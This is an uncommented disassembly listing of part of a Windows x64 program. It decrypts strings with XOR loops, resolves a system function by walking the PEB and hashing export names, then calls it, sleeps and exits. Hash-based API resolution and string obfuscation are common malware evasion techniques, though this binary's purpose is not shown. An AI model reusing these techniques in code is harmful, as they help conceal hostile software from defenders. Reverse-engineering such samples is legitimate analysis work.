mov eax, dword [str.5555555555555555O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x14000c452
mov r10, rcx
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x34
movzx eax, r9b
sub al, r8b
add al, 0x35
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14000c420
mov rdx, rcx
mov rcx, r11
call fcn.14000f4c0
call fcn.140004860
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0xe0]
call fcn.14000d210
movzx edx, byte [rax + 8]
test dl, dl
je 0x14000c4a3
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor dl, 0x3d
mov byte [rax + 8], dl
mov rdx, rax
call fcn.14000f4c0
lea rdx, [rsp + 0x330]
call fcn.14000d230
mov r8, rax
cmp byte [rax + 0xb], 0
je 0x14000c610
mov r10d, ebx
cmp r12d, 2
jl 0x14000c5d5
movdqa xmm4, xmmword [0x140091590]
movd xmm5, r13d
movd xmm6, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r8]
xorps xmm2, xmm0
movd dword [r8], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r8 + 4]
xorps xmm2, xmm0
movd dword [r8 + 4], xmm2
mov r10d, 8
movsxd r9, r10d
add r9, r8
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r10b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r10d
lea r9, [r9 + 1]
cmp r10d, 0xc
jl 0x14000c5e0
mov rdx, r8
lea rcx, [rsp + 0x110]
call fcn.14000e760
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.140020fe0
mov edx, 5
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 5
mov rcx, qword [rsp + 0x1a8]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rsp + 0xb0]
call fcn.14000d250
mov r10, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov esi, dword [rdx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x14000c6fa
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14000c6fa
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [r9 + r11*4]
mov edx, dword [rax + r15]
add rdx, r9
mov r8d, 0xbe9f598
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000c6f5
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14000c6d0
cmp r8d, 0x1ee95999
je 0x14000c6ff
test r11d, r11d
jne 0x14000c6b0
mov rcx, qword [rcx]
jmp 0x14000c680
mov ecx, dword [rsi + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov r11d, dword [rcx + rdx*4]
add r11, r9
cmp byte [r10 + 0x1c], 0
je 0x14000c89c
cmp r12d, 2
jl 0x14000c868
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, r10
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x14000c746
cmp eax, 0x1d
jge 0x14000c89c
movsxd r8, ebx
add r8, r10
nop
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x35
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1d
jl 0x14000c870
mov rcx, r10
call r11
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004830
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x1b0]
call fcn.14000d280
mov r8, rax
cmp byte [rax + 0x15], 0
je 0x14000ca5c
mov ecx, ebx
cmp r12d, 2
jl 0x14000ca22
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
mov rdx, rax
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000c902
cmp ecx, 0x16
jge 0x14000ca5c
movsxd r9, ecx
add r9, r8
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x16
jl 0x14000ca30
mov rdx, r8
mov rcx, r10
call fcn.14000f4c0
lea rdx, [rsp + 0x1b0]
call fcn.14000d2b0
mov r8, rax
cmp byte [rax + 0x14], 0
je 0x14000cbfc
cmp r12d, 2
jl 0x14000cbc7
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x14000caa5
cmp eax, 0x15
jge 0x14000cbfc
movsxd r9, ebx
add r9, r8
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x35
xor byte [r9], al
inc ebx
lea r9, [r9 + 1]
cmp ebx, 0x15
jl 0x14000cbd0
mov rdx, r8
lea rcx, [rsp + 0x110]
call fcn.14000e760
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.140020fe0
mov edx, 5
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 5
mov rcx, qword [rsp + 0x1a8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rsp + 0x1d8], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rdx, qword [rsp + 0x290]
cmp rdx, 0x10
jb 0x14000ccab
inc rdx
mov rcx, qword [rsp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cca5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cca5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
nop
lea rcx, [rsp + 0x880]
call fcn.140004890
nop
mov rcx, qword [rsp + 0x2e0]
test rcx, rcx
je 0x14000cd0f
mov rdx, qword [rsp + 0x2f0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ccf6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cf4c
call fcn.140074e60
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], rbx
mov rdx, qword [rsp + 0x328]
cmp rdx, 0x10
jb 0x14000cd53
inc rdx
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cd4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cfa6
call fcn.140074e60
nop
cmp dword [rsp + 0x308], 0
jne 0x14000cfbd
lea rcx, [rsp + 0x600]
call fcn.14000d2e0
nop
mov rdx, qword [rsp + 0x3d8]
cmp rdx, 0x10
jb 0x14000cdb3
inc rdx
mov rcx, qword [rsp + 0x3c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cdad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d00c
call fcn.140074e60
nop
mov rdx, qword [rsp + 0x358]
cmp rdx, 0x10
jb 0x14000cdf7
inc rdx
mov rcx, qword [rsp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cdf1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d053
call fcn.140074e60
nop
mov rdx, qword [rsp + 0x378]
cmp rdx, 0x10
jb 0x14000ce3b
inc rdx
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ce35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d09a
call fcn.140074e60
nop
mov rdx, qword [rsp + 0x398]
cmp rdx, 0x10
jb 0x14000ce7f
inc rdx
mov rcx, qword [rsp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ce79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d0e1
call fcn.140074e60
nop
mov rdx, qword [rsp + 0x3b8]
cmp rdx, 0x10
jb 0x14000cec2
inc rdx
mov rcx, qword [rsp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cebd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d134
call fcn.140074e60
xor eax, eax
mov rcx, qword [rsp + 0x990]
xor rcx, rsp
call fcn.140074a00
lea r11, [rsp + 0x9d0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rcx, [rsp + 0x880]
call fcn.140004890
nop
mov rcx, qword [rsp + 0x2e0]
test rcx, rcx
je 0x14000cf6c
mov rdx, qword [rsp + 0x2f0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cf53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cf53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], rbx
mov rdx, qword [rsp + 0x328]
cmp rdx, 0x10
jb 0x14000cfb3
inc rdx
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cfad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cfad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
nop
cmp dword [rsp + 0x308], 0
je 0x14000cfc4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
lea rcx, [rsp + 0x600]
call fcn.14000d2e0
nop
mov rdx, qword [rsp + 0x3d8]
cmp rdx, 0x10
jb 0x14000d019
inc rdx
mov rcx, qword [rsp + 0x3c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d013
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d013
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
nop
mov rdx, qword [rsp + 0x358]
cmp rdx, 0x10
jb 0x14000d060
inc rdx
mov rcx, qword [rsp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d05a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d05a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
nop
mov rdx, qword [rsp + 0x378]
cmp rdx, 0x10
jb 0x14000d0a7
inc rdx
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d0a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d0a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
nop
mov rdx, qword [rsp + 0x398]
cmp rdx, 0x10
jb 0x14000d0ee
inc rdx
mov rcx, qword [rsp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d0e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d0e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
nop
mov rdx, qword [rsp + 0x3b8]
cmp rdx, 0x10
jb 0x14000cec2
inc rdx
mov rcx, qword [rsp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cebd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cebd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test r10d, r10d
jne 0x140005d60
mov rax, qword [rax]
jmp 0x140005d30
mov dword [rsp + 0x308], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.140001c30
nop
mov rsi, 0xffffffffffffffff
mov qword [rsp + 0x1a8], rsi
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x330]
lea rcx, str.remove_all
call fcn.1400039f0
nop
call fcn.140001c30
nop
call fcn.140001c30
nop
mov rsi, 0xffffffffffffffff
mov qword [rsp + 0x1a8], rsi
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x230]
lea rcx, str.remove_all
call fcn.1400039f0
nop
call fcn.140001c30
int3